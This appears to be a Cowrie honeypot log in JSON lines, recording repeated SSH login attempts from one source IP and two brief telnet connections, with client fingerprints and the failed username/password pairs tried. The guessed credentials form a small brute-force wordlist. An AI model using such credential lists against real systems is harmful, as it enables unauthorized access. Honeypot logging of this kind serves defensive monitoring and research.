{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:48.325629Z","src_ip":"107.150.103.12","session":"995c27dde4dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ZAQ!XSW@","message":"login attempt [ubuntu/ZAQ!XSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:48.640463Z","src_ip":"107.150.103.12","session":"995c27dde4dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:45:49.714340Z","src_ip":"107.150.103.12","session":"995c27dde4dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":51090,"dst_ip":"159.203.135.109","dst_port":22,"session":"255ec401840c","protocol":"ssh","message":"New connection: 107.150.103.12:51090 (159.203.135.109:22) [session: 255ec401840c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:46:37.726558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:46:37.730831Z","src_ip":"107.150.103.12","session":"255ec401840c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:46:37.802116Z","src_ip":"107.150.103.12","session":"255ec401840c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mc","message":"login attempt [mcserver/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:46:38.115311Z","src_ip":"107.150.103.12","session":"255ec401840c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:46:39.191849Z","src_ip":"107.150.103.12","session":"255ec401840c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":46994,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a666ed09789","protocol":"ssh","message":"New connection: 107.150.103.12:46994 (159.203.135.109:22) [session: 5a666ed09789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:47:27.743523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:47:27.748592Z","src_ip":"107.150.103.12","session":"5a666ed09789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:47:27.819656Z","src_ip":"107.150.103.12","session":"5a666ed09789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123123123","message":"login attempt [ubuntu/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:47:28.133117Z","src_ip":"107.150.103.12","session":"5a666ed09789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:47:29.207541Z","src_ip":"107.150.103.12","session":"5a666ed09789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.4.116.9","src_port":8396,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c72db823c95","protocol":"telnet","message":"New connection: 200.4.116.9:8396 (159.203.135.109:23) [session: 3c72db823c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:47:59.305910Z"}
{"eventid":"cowrie.session.closed","duration":14.578747034072876,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:48:13.884560Z","src_ip":"200.4.116.9","session":"3c72db823c95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":51626,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d19cdad5731","protocol":"ssh","message":"New connection: 107.150.103.12:51626 (159.203.135.109:22) [session: 9d19cdad5731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:48:17.507589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:48:17.512048Z","src_ip":"107.150.103.12","session":"9d19cdad5731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:48:17.592442Z","src_ip":"107.150.103.12","session":"9d19cdad5731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user03","password":"user031","message":"login attempt [user03/user031] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:48:17.910046Z","src_ip":"107.150.103.12","session":"9d19cdad5731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:48:18.985165Z","src_ip":"107.150.103.12","session":"9d19cdad5731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":40924,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c0985c183fa","protocol":"ssh","message":"New connection: 107.150.103.12:40924 (159.203.135.109:22) [session: 4c0985c183fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:49:07.384670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:49:07.389466Z","src_ip":"107.150.103.12","session":"4c0985c183fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:49:07.460055Z","src_ip":"107.150.103.12","session":"4c0985c183fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123!@#qweQWE","message":"login attempt [ubuntu/123!@#qweQWE] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:49:07.773541Z","src_ip":"107.150.103.12","session":"4c0985c183fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:49:08.847479Z","src_ip":"107.150.103.12","session":"4c0985c183fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":38818,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbf0a442e935","protocol":"ssh","message":"New connection: 107.150.103.12:38818 (159.203.135.109:22) [session: dbf0a442e935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:49:56.288093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:49:56.292702Z","src_ip":"107.150.103.12","session":"dbf0a442e935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:49:56.367063Z","src_ip":"107.150.103.12","session":"dbf0a442e935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"user123456789","message":"login attempt [ubuntu/user123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:49:56.682214Z","src_ip":"107.150.103.12","session":"dbf0a442e935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:49:57.794159Z","src_ip":"107.150.103.12","session":"dbf0a442e935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":58372,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1826493baa6","protocol":"ssh","message":"New connection: 107.150.103.12:58372 (159.203.135.109:22) [session: d1826493baa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:50:46.288733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:50:46.294247Z","src_ip":"107.150.103.12","session":"d1826493baa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:50:46.364535Z","src_ip":"107.150.103.12","session":"d1826493baa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"development","password":"development","message":"login attempt [development/development] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:50:46.679966Z","src_ip":"107.150.103.12","session":"d1826493baa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:50:47.753271Z","src_ip":"107.150.103.12","session":"d1826493baa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.19.180","src_port":1777,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fe39dcfd312","protocol":"telnet","message":"New connection: 196.189.19.180:1777 (159.203.135.109:23) [session: 3fe39dcfd312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:50:49.615628Z"}
{"eventid":"cowrie.session.closed","duration":15.047530174255371,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:51:04.663058Z","src_ip":"196.189.19.180","session":"3fe39dcfd312","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":36422,"dst_ip":"159.203.135.109","dst_port":22,"session":"eacbf46d29b2","protocol":"ssh","message":"New connection: 107.150.103.12:36422 (159.203.135.109:22) [session: eacbf46d29b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:51:37.015352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:51:37.018964Z","src_ip":"107.150.103.12","session":"eacbf46d29b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:51:37.089570Z","src_ip":"107.150.103.12","session":"eacbf46d29b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"QWE@123","message":"login attempt [admin/QWE@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:51:37.406139Z","src_ip":"107.150.103.12","session":"eacbf46d29b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:51:38.480462Z","src_ip":"107.150.103.12","session":"eacbf46d29b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":60202,"dst_ip":"159.203.135.109","dst_port":22,"session":"8577cab4e70e","protocol":"ssh","message":"New connection: 107.150.103.12:60202 (159.203.135.109:22) [session: 8577cab4e70e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:52:27.492934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:52:27.497488Z","src_ip":"107.150.103.12","session":"8577cab4e70e","protocol":"ssh"}
